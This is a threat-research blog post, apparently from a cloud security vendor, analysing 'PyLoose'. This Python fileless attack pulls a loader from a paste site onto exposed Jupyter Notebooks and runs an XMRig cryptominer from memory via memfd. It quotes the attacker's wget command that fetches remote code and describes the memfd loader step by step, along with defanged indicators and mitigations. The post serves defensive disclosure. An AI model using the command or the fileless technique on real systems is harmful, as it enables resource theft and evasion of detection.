Using the Wiz Runtime Sensor, we have recently detected a new fileless attack targeting cloud workloads. The attack consists of Python code that loads an XMRig Miner directly into memory using memfd, a known Linux fileless technique. As far as we know, this is the first publicly documented Python-based fileless attack targeting cloud workloads in the wild, and our evidence shows close to 200 instances where this attack was used for cryptomining. We named the attack PyLoose based on the URL that hosted the Python loader (https://paste[.]c-net.org/chattingloosened).

Despite being a known technique, new fileless attacks targeting cloud workloads are rarely reported. In fact, the last activity was reported two and a half years ago by AT&T when TeamTNT leveraged Ezuri, an open-source tool written in Go, to load a fileless payload. Fileless attacks are evasive as they do not rely on writing payloads to disk. These attacks abuse operating system capabilities such as the Linux memfd RAM-based filesystem, making them challenging to detect with traditional security solutions.

In this blog post, we will detail the PyLoose attack and the Linux fileless technique that was used by the threat actor, discuss potential motivations for this type of attack, and lastly, provide steps for mitigating this attack chain.

PyLoose analysis

PyLoose is a fairly simple Python script that holds a compressed and encoded precompiled XMRig miner. It was first detected by Wiz’s Runtime Sensor on June 22th, 2023. On the same day, the script was uploaded to VirusTotal from Norway, possibly by the attacker or one of the victims. It has zero detections at the time of this report’s publishing.

Let’s go over the attack flow step by step.

Initial access

In this incident, the victim had a publicly accessible Jupyter Notebook service. Although the Notebook is designed to allow Python code execution, this specific service failed to restrict the execution of system commands, including via Python modules such as os and subprocess. Environments like these are often sought by threat actors since it is often easier to scan the internet for publicly exposed services than to invest heavily into attacking an unknown target.

Python script drop

The attacker downloaded the fileless payload from paste.c-net.org (a Pastebin-equivalent website) [T1102] into the Python runtime’s memory by making an HTTPS GET request in a way that avoids saving the file to the disk. Even though we observed the threat actor using the wget -O- https[://]paste[.]c-net.org/chattingloosened command in their initial attempts, our data suggests they switched to performing this request in Python for most of the attack volume. We believe this move was for the sake of simplicity rather than evasion or stealth.

Python script fileless execution

The script first decoded and decompressed the XMRig miner and then loaded it directly into memory via the memory file descriptor, memfd. The content of the Python script was only 9 lines long and featured the entire fileless payload compressed with zlib and encoded in base64.

Edited: The script was generated using the fileless-elf-exec open-source tool (thanks @Silas and vandycknick@infosec.exchange for the contribution).

Here’s a breakdown of the PyLoose script, line by line:

1. Imports libraries for direct syscall invocation, os command execution, base64 operations, and zlib decompression.

2. Loads the standard or default C library on the system.

3. Uses the C library to get access to the syscall invocation function.

4. Decodes the payload using the base64 algorithm [T1140].

5. Decompresses the decoded content [T1027.002].

6. Invokes syscall number 319 with arguments that match:
   memfd_create(name="", flags=MFD_CLOSEXEC)
   The returned argument from the syscall is the new file descriptor of the created memfd.

7. Writes the content of the decoded and decompressed malware to the memfd buffer.

8. Constructs a path to the memfd file descriptor.

9. Invokes the malware directly from memory via the new memfd [T1620].
   The string smd is passed as its argv[0] and sole command-line argument, and an empty dictionary {} is passed as its environment variable, meaning no new environment variable will be passed.

In-memory XMRig execution

The in-memory file was quickly identified as an XMRig [T1496] with embedded config v6.19.3, which is quite recent as the latest available version is currently 6.20.0. The cryptominer connected to the remote IPv4 address 51.75.64[.]249 is associated with the MoneroOcean mining pool.

Why threat actors use fileless attacks

Fileless attacks are more evasive than attacks that rely on dropping a payload on the disk. This is because they are:

1. Harder to detect – To effectively detect fileless malware in Linux, organizations need to deploy advanced security solutions that utilize runtime behavior-based analysis and memory monitoring techniques.

2. Harder to investigate – Once detected, the fact that the payload “lives” in memory complicates the forensics process as the file must be dumped from memory while the resource is up and running. Therefore, the ephemeral nature of cloud workloads makes the investigation even harder.

3. Less common – As mentioned above, documented cases of fileless attacks targeting cloud workloads are rare. As a result, security teams may put less effort into the detection of this type of attack.

What is memfd fileless execution

The memory file descriptor, memfd, is a Linux feature that allows the creation of anonymous memory-backed file objects that can be used for various purposes, such as inter-process communication or temporary storage. Threat actors sometimes abuse this Linux feature to execute payloads without writing them to disk, and thus avoid traditional security tools that rely on basic binary scans. Once the payload is placed within a memory section created via memfd, attackers can invoke one of the exec syscalls on that memory content, treating it as if it were a regular file on disk, and thereby launch a new process.

Live processes executed from memfd can be identified on an up-and-running workload by inspecting the symbolic link of /proc/{pid}/exe, which begins with the /memfd: prefix.

Attribution

The attacker went to great lengths to be untraceable by using an open data-sharing service to host the Python payload, adapting the fileless execution technique to Python, and compiling an XMRig miner to embed its config to avoid touching the disk or using a revealing command line.

All these steps suggest that the adversary has a level of sophistication not commonly observed in most publicly documented cloud workload attacks. Therefore, there are no strong indicators that can tie this attack to a specific threat actor.

How to prevent attacks like PyLoose

To make sure that your Jupyter Notebook service is not susceptible to this type of attack, consider taking the following precautionary steps:

1. Avoid publicly exposing services like Jupyter Notebook as that can lead to code execution.

2. Use a complex password/security token to access your service, or ideally, a centrally managed identity platform with MFA or other strong authentication methods.

3. Constrain the execution of system commands and other unrestricted execution vectors.

How can Wiz help?

1. Risk management – The Wiz agentless host configuration scanner detects misconfigured and publicly exposed Jupyter Notebook server instances, allowing you to pinpoint any instances in your environment that allow remote unauthenticated access from any IP address.

2. Threat detection – The Wiz Runtime Sensor detects these types of fileless threats as the adversary moves through the attack chain, from the initial payload delivery (“Ingress tool was executed”​) and fileless payload (“Fileless execution was detected”) execution to the final intended cryptomining activities (“Connection to a known cryptomining pool”). The example alert below details a PyLoose fileless execution:

Learn more about the Wiz runtime sensor.

Summary

In this blog post, we detailed a new Python-based fileless attack that delivers a precompiled XMRig miner on a publicly exposed Jupyter Notebook. Public documentation of fileless malware targeting cloud workloads is rare; the most recent new fileless attack that was documented was over two and a half years ago.  

These attacks serve as a reminder that organizations should have a security posture solution in place to help security teams eliminate toxic risk combinations, in addition to a runtime protection solution that quickly detects and responds to breaches.

We would be happy to collaborate with you on this research! Feel free to reach out anytime to Wiz Threat Research at threat.hunters@wiz.io.

Indications of compromise (IoCs)

MITRE ATT&CK® Techniques used by PyLoose:

Command and Control – Ingress Tool Transfer (T1105)

Command and Control – Web Service (T1102)

Defense Evasion – Deobfuscate/Decode Files or Information (T1140)

Defense Evasion – Obfuscated Files or Information: Software Packing (T1027.002)

Defense Evasion – Reflective Code Loading (T1620)

Impact – Resource Hijacking (T1496)